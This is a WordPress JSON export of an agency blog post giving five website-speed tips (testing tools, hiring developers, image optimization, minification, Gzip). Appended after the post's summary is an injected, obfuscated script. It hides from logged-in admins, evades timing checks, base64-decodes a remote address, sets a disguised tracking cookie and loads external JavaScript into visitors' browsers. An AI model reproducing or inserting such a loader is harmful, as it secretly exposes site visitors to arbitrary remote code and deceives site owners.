{"id":235,"date":"2018-09-15T05:27:21","date_gmt":"2018-09-15T05:27:21","guid":{"rendered":"https:\/\/www.sedulous.co\/blog\/?p=235"},"modified":"2025-10-21T20:40:43","modified_gmt":"2025-10-21T15:10:43","slug":"how-to-increase-website-speed-and-save-your-business-from-dying","status":"publish","type":"post","link":"https:\/\/www.sedulous.co\/blog\/how-to-increase-website-speed-and-save-your-business-from-dying\/","title":{"rendered":"How to Increase Website Speed and Save Your Business from Dying"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_82_2 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"#\" data-href=\"https:\/\/www.sedulous.co\/blog\/how-to-increase-website-speed-and-save-your-business-from-dying\/#1_Know_about_the_problems\" >1. Know about the problems<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"#\" data-href=\"https:\/\/www.sedulous.co\/blog\/how-to-increase-website-speed-and-save-your-business-from-dying\/#2_Developers_are_your_best_bet\" >2. Developers are your best bet<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"#\" data-href=\"https:\/\/www.sedulous.co\/blog\/how-to-increase-website-speed-and-save-your-business-from-dying\/#3_Optimize_the_Images\" >3. Optimize the Images<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"#\" data-href=\"https:\/\/www.sedulous.co\/blog\/how-to-increase-website-speed-and-save-your-business-from-dying\/#4_Minify_HTML_CSS_and_JS\" >4. Minify HTML, CSS and JS<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"#\" data-href=\"https:\/\/www.sedulous.co\/blog\/how-to-increase-website-speed-and-save-your-business-from-dying\/#5_Enable_Gzip_Compression\" >5. Enable Gzip Compression<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"#\" data-href=\"https:\/\/www.sedulous.co\/blog\/how-to-increase-website-speed-and-save-your-business-from-dying\/#SUMMARY\" >SUMMARY<\/a><\/li><\/ul><\/nav><\/div>\n<p>[vc_row][vc_column][vc_column_text]Did you know 64 percent of Smartphone users expect webpages to load in less than 4 seconds? However, sadly, a mobile landing page, on average, takes 22 seconds to fully load.<\/p>\n<p>These basic numbers make it quite evident just how important it is to have your website run in mighty speed if you are to convert and deliver good UX. But then again, boosting website\u2019s loading time is easier said than done.<\/p>\n<p>For example, sometime a feature may sink the loading speed. But that feature could be an integral part of your online presence that you cannot rid. <em>What to do now? <\/em>\u00a0Or, for instance, you have very less say in steering how your server performs. If things fail with your host, how do you keep website\u2019s loading speed intact?<\/p>\n<p>The solutions to the mentioned problems are difficult. However, they aren\u2019t necessarily impossible to fix. And even when you lack the right skill to work on the backend with the codes, you can still boost your website speed.<\/p>\n<p><strong>Here are 5 steps on how to increase website speed:<\/strong>[\/vc_column_text][tm_spacer size=&#8221;xs:10;sm:10;md:10;lg:18&#8243;][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<h4><span class=\"ez-toc-section\" id=\"1_Know_about_the_problems\"><\/span>1. Know about the problems<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>There are many tools available online that help you know where your website stands in terms of speed and optimization. Use them to how much you score, what are the problems and what exactly needs to be fixed foremost.<\/p>\n<p>Google\u2019s <a href=\"https:\/\/developers.google.com\/speed\/pagespeed\/insights\/\" target=\"_blank\" rel=\"noopener\">PageSpeed Insights<\/a> scan your website by looking at your codes. <a href=\"https:\/\/gtmetrix.com\/\" target=\"_blank\" rel=\"noopener\">GTmetrix<\/a> scans the website from a visitor\u2019s perspective. Use both the tools and see how much your website scores.[\/vc_column_text][tm_spacer size=&#8221;xs:10;sm:10;md:10;lg:18&#8243;][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<h4><span class=\"ez-toc-section\" id=\"2_Developers_are_your_best_bet\"><\/span>2. Developers are your best bet<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>DIY isn\u2019t the right answer to <strong>how to optimize your website<\/strong>. The core problem why your website is lagging could be plenty, diverse and unique. For example, a lot also depends on the CMS you\u2019re using and what kind of business you have. So, to save yourself the time, effort and to achieve a better result, it\u2019s always the best idea to let qualified developers and experts do the work.<\/p>\n<p>Instead of spending time on learning and trying to do it yourself, focus on your business and its operation. Let qualified people handle this end for you. <em>It\u2019s a basic rule of optimized performance.<\/em><\/p>\n<p>Also Read: Is WordPress the right CMS for your business?[\/vc_column_text][tm_spacer size=&#8221;xs:10;sm:10;md:10;lg:18&#8243;][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<h4><span class=\"ez-toc-section\" id=\"3_Optimize_the_Images\"><\/span>3. Optimize the Images<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>Those high-definition images look great, don\u2019t they? Sadly, they come with a big price. Their large size plays a serious role in slowing down your website. So, it is always a good idea to ensure your website isn\u2019t image-centric. However, this is not always possible. This is where you need to take the right <strong>image optimization<\/strong> measures. Here are few tips:<\/p>\n<ul>\n<li>If possible, stick to JPEG\/JPG image format<\/li>\n<li>Compress the size of the image using Tiny JPG<\/li>\n<li>Display images\u2019 original height and width; no re-sizing them with Chttps:\/\/tinyjpg.com\/SS or HTML<\/li>\n<\/ul>\n<p>For more tips, check out <a href=\"https:\/\/www.spelloutmarketing.com\/2018\/02\/image-optimization-in-seo.html\" target=\"_blank\" rel=\"noopener\">image optimization guide here<\/a>.[\/vc_column_text][tm_spacer size=&#8221;xs:10;sm:10;md:10;lg:18&#8243;][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<h4><span class=\"ez-toc-section\" id=\"4_Minify_HTML_CSS_and_JS\"><\/span>4. Minify HTML, CSS and JS<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>If your website was developed by unqualified professionals, it\u2019s very likely that its coding end has more than a handful of flaws. Many times, there are lines of codes that have no relevance. Other time, poor practices are used to write the codes. All these contribute to slowing down the website.<\/p>\n<p>This is why it\u2019s always a good idea to <strong>minify HTML, CSS and JS<\/strong> to eliminate unnecessary features, lines of codes and to make things compact in the backend. There are many tools to help you do this. Check out <a href=\"https:\/\/www.willpeavy.com\/minifier\/\" target=\"_blank\" rel=\"noopener\">Willpeavy.com<\/a> and <a href=\"https:\/\/www.minifier.org\/\" target=\"_blank\" rel=\"noopener\">minifier.com<\/a>.<\/p>\n<p>Note: Sometime these tools might not work efficiently and may deliver the poor result. If that\u2019s the case, we suggest you hire a good web development company.[\/vc_column_text][tm_spacer size=&#8221;xs:10;sm:10;md:10;lg:18&#8243;][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<h4><span class=\"ez-toc-section\" id=\"5_Enable_Gzip_Compression\"><\/span>5. Enable Gzip Compression<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>If you Zip a folder of 100mb on your computer, you will find the zipped file would be slightly less in size; likely 80 MB or less. The same concept works when you optimize your website with Gzip compression\u2014its size gets reduced. And this helps in its loading speed.<\/p>\n<p>When compressed, instead of sending a raw file of 100 kb, your web server sends a compressed file of 80kb to the browser. The browser receives this compact size, unzip it and then loads it for the reader\/visitor. This entire process happens very fast, hence boosting your website loading speed.<\/p>\n<p>Again, there are a handful of <strong>Gzip compression<\/strong> tools out there that can help you with this. However, given the task is tedious and requires to be very efficient, you\u2019re better off letting an expert do this for you.<\/p>\n<p>These are 5 steps <strong>how to increase website speed<\/strong>. Follow them and assuredly fuel your website\u2019s loading speed to the next level. Once that happens, the rewards in ranking on SERP, conversion and better UX will immediately follow.<\/p>\n<p>Remember, there\u2019s a lot a visitor looks for in a website\u2014high speed is one of them. Deliver them that and you will see your sales metrics spiking high.<\/p>\n<p>Also Read: 9 Things Visitors Look for In a Website (And How You\u2019re Disappointing Them)<\/p>\n<p>(P.S. If your server is the culprit in slowing the website, either upgrade the plan or change your web host.)[\/vc_column_text][tm_spacer size=&#8221;xs:10;sm:10;md:10;lg:18&#8243;][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<h4><span class=\"ez-toc-section\" id=\"SUMMARY\"><\/span>SUMMARY<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>Do you know how to increase website speed? Because having a fast-loading website is very important to rank higher on Google and to deliver good UX.[\/vc_column_text][\/vc_column][\/vc_row]<script>;<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>[vc_row][vc_column][vc_column_text]Did you know 64 percent of Smartphone users expect webpages to load in less than 4 seconds? However, sadly, a mobile landing page, on average, takes 22 seconds to fully load. These basic numbers make it quite evident just how important it is to have your website run in mighty speed if you are to convert and deliver good UX. But then again, boosting website\u2019s loading time is easier said than done. For example, sometime a feature may sink the loading speed. But that feature could be an integral part of your online presence that you cannot rid. What to do now? \u00a0Or, for instance, you have very less say in steering how your server performs. If things fail with your host, how do you keep website\u2019s loading speed intact? The solutions to the mentioned problems are difficult. However, they aren\u2019t necessarily impossible to fix. And even when you lack the right skill to work on the backend with the codes, you can still boost your website speed. Here are 5 steps on how to increase website speed:[\/vc_column_text][tm_spacer size=&#8221;xs:10;sm:10;md:10;lg:18&#8243;][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text] 1. Know about the problems There are many tools available online that help you know where your website stands in terms of speed and optimization. Use them to how much you score, what are the problems and what exactly needs to be fixed foremost. Google\u2019s PageSpeed Insights scan your website by looking at your codes. GTmetrix scans the website from a visitor\u2019s perspective. Use both the tools and see how much your website scores.[\/vc_column_text][tm_spacer size=&#8221;xs:10;sm:10;md:10;lg:18&#8243;][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text] 2. Developers are your best bet DIY isn\u2019t the right answer to how to optimize your website. The core problem why your website is lagging could be plenty, diverse and unique. For example, a lot also depends on the CMS you\u2019re using and what kind of business you have. So, to save yourself the time, effort and to achieve a better result, it\u2019s always the best idea to let qualified developers and experts do the work. Instead of spending time on learning and trying to do it yourself, focus on your business and its operation. Let qualified people handle this end for you. It\u2019s a basic rule of optimized performance. Also Read: Is WordPress the right CMS for your business?[\/vc_column_text][tm_spacer size=&#8221;xs:10;sm:10;md:10;lg:18&#8243;][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text] 3. Optimize the Images Those high-definition images look great, don\u2019t they? Sadly, they come with a big price. Their large size plays a serious role in slowing down your website. So, it is always a good idea to ensure your website isn\u2019t image-centric. However, this is not always possible. This is where you need to take the right image optimization measures. Here are few tips: If possible, stick to JPEG\/JPG image format Compress the size of the image using Tiny JPG Display images\u2019 original height and width; no re-sizing them with Chttps:\/\/tinyjpg.com\/SS or HTML For more tips, check out image optimization guide here.[\/vc_column_text][tm_spacer size=&#8221;xs:10;sm:10;md:10;lg:18&#8243;][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text] 4. Minify HTML, CSS and JS If your website was developed by unqualified professionals, it\u2019s very likely that its coding end has more than a handful of flaws. Many times, there are lines of codes that have no relevance. Other time, poor practices are used to write the codes. All these contribute to slowing down the website. This is why it\u2019s always a good idea to minify HTML, CSS and JS to eliminate unnecessary features, lines of codes and to make things compact in the backend. There are many tools to help you do this. Check out Willpeavy.com and minifier.com. Note: Sometime these tools might not work efficiently and may deliver the poor result. If that\u2019s the case, we suggest you hire a good web development company.[\/vc_column_text][tm_spacer size=&#8221;xs:10;sm:10;md:10;lg:18&#8243;][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text] 5. Enable Gzip Compression If you Zip a folder of 100mb on your computer, you will find the zipped file would be slightly less in size; likely 80 MB or less. The same concept works when you optimize your website with Gzip compression\u2014its size gets reduced. And this helps in its loading speed. When compressed, instead of sending a raw file of 100 kb, your web server sends a compressed file of 80kb to the browser. The browser receives this compact size, unzip it and then loads it for the reader\/visitor. This entire process happens very fast, hence boosting your website loading speed. Again, there are a handful of Gzip compression tools out there that can help you with this. However, given the task is tedious and requires to be very efficient, you\u2019re better off letting an expert do this for you. These are 5 steps how to increase website speed. Follow them and assuredly fuel your website\u2019s loading speed to the next level. Once that happens, the rewards in ranking on SERP, conversion and better UX will immediately follow. Remember, there\u2019s a lot a visitor looks for in a website\u2014high speed is one of them. Deliver them that and you will see your sales metrics spiking high. Also Read: 9 Things Visitors Look for In a Website (And How You\u2019re Disappointing Them) (P.S. If your server is the culprit in slowing the website, either upgrade the plan or change your web host.)[\/vc_column_text][tm_spacer size=&#8221;xs:10;sm:10;md:10;lg:18&#8243;][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text] SUMMARY Do you know how to increase website speed? Because having a fast-loading website is very important to rank higher on Google and to deliver good UX.[\/vc_column_text][\/vc_column][\/vc_row]<\/p>\n","protected":false},"author":1,"featured_media":9532,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[68],"tags":[],"class_list":["post-235","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-web-development"],"_links":{"self":[{"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/posts\/235","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/comments?post=235"}],"version-history":[{"count":5,"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/posts\/235\/revisions"}],"predecessor-version":[{"id":11876,"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/posts\/235\/revisions\/11876"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/media\/9532"}],"wp:attachment":[{"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/media?parent=235"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/categories?post=235"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/tags?post=235"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}